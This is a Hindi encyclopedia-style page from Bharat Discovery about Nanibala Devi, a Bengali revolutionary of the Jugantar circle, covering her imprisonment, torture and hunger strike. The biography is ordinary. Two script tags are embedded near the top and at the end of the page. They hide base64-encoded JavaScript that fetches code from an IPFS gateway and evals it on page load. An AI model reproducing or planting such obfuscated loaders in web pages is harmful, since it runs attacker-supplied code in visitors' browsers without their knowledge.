ननिबाला देवी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ननिबाला देवी (जन्म सन 1888; मृत्यु सन 1967) एक प्रसिद्ध क्रांतिकारी थी। बीसवीं सदी के दूसरे दशक में ननिबाला देवी कलकत्ता, चन्द्रनगर व चटगाँव आदि नगरों में क्रांतिकारियों को आश्रय देने, उनके अस्त्र-शस्त्र रखने एवं गुप्तचर पुलिस को चकमा देने के कारण प्रसिद्ध हो गई थीं। बाद में पुलिस का दबाव बढ़ने पर वे 1917 ई. में फरार होकर पेशावर चली गई। परंतु शीघ्र ही वहाँ वे गिरफ्तार कर ली गई।

जीवन परिचय

प्रसिद्ध क्रांतिकारी ननिबाला देवी का जन्म 1888 ई. में हावड़ा में हुआ था। साधारण शिक्षा घर में हुई और 11 वर्ष की उम्र में उनका विवाह कर दिया गया। किन्तु विवाह के 5 वर्ष के बाद ही वे विधवा हो गईं। अब उन्होंने अपना ध्यान अध्ययन की ओर लगाया और ईसाई मिशन के स्कूल में अंग्रेजी की शिक्षा प्राप्त की। परंतु विचार संबंधी मतभेदों के कारण उन्हें मिशन छोड़ देना पड़ा। इसके बाद वे अपने दूर के भतीजे अमरेन्द्र नाथ चट्टोपाध्याय के संपर्क में आईं। अमरेन्द्र प्रसिद्ध क्रांतिकारी संगठन युगांतर पार्टी के प्रमुख नेता थे। इसके बाद ननिबाला देवी क्रांतिकारी संगठन में सम्मलित हो गईं। प्रथम विश्वयुद्ध के दिनों में वे भूमिगत क्रांतिकारियों के लिए भोजन आदि की व्यवस्था करती रहीं।

योगदान

उन्हीं दिनों ननिबाला ने ऐसा साहसिक काम किया जो इन दिनों किसी हिन्दू विधवा के लिए अकल्पित था। रामचंद्र मजूमदार नाक के एक क्रांतिकारी जेल में बंद थे और गिरफ्तारी से पहले वे अपना रिवाल्वर कहां छिपा गए इसका पता उनके साथियों को नहीं था। ननिबाला ने स्वयं को रामचंद्र मजूमदार की पत्नी बताया, जेल में उनसे भेंट की और रिवाल्वर का पता लगा लिया। परंतु पुलिस को बाद में उनकी गतिविधियों की भनक लग गई और वे उन्हें खोजने लगी। इस पर ननिबाला कोलकाता छोड़कर लाहौर चली आईं। वहां वे बीमार पड़ गई र तभी पुलिस ने गिरफ्तार कर लिया। क्रांतिकारियों के संबंध में जानकारी प्राप्त करने के उद्देश्य से उनके साथ बड़ा ही क्रूर और अमानुषिक बर्ताव किया गया। यहां तक कि उनक विभिन्न अंगों में पिसी हुई मिर्च तक भरी गई। दर्द से कराहती हुई ननिबाला ने महिला पुलिस को जोरदार ठोकर मारी और बेहोश हो गईं। बाद में उन्हें कोलकाता के प्रेसिडेंसी जेल में रखा गया। यहां की व्यवस्था के विरोध में उन्होंने भूख हड़ताल कर दी। जब गोल्डी नाम के पुलिस सुपरिडेंट ने उनके लिखित मांग पत्र को उनके सामने ही फाड़ कर फेंक दिया तो ननिबाला ने यहां भी पूरी ताकत से एक घूँसा उसके मुँह पर जमा दिया।

निधन

1919 की आम रिहाई में वे जेल से बाहर आईं और बीमार पड़ गईं। एक साधु ने उनका उपचार किया और अंत में ननिबाला ने भी गोरुआ वस्त्र धारण कर लिया। 1967 में उनका देहांत हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>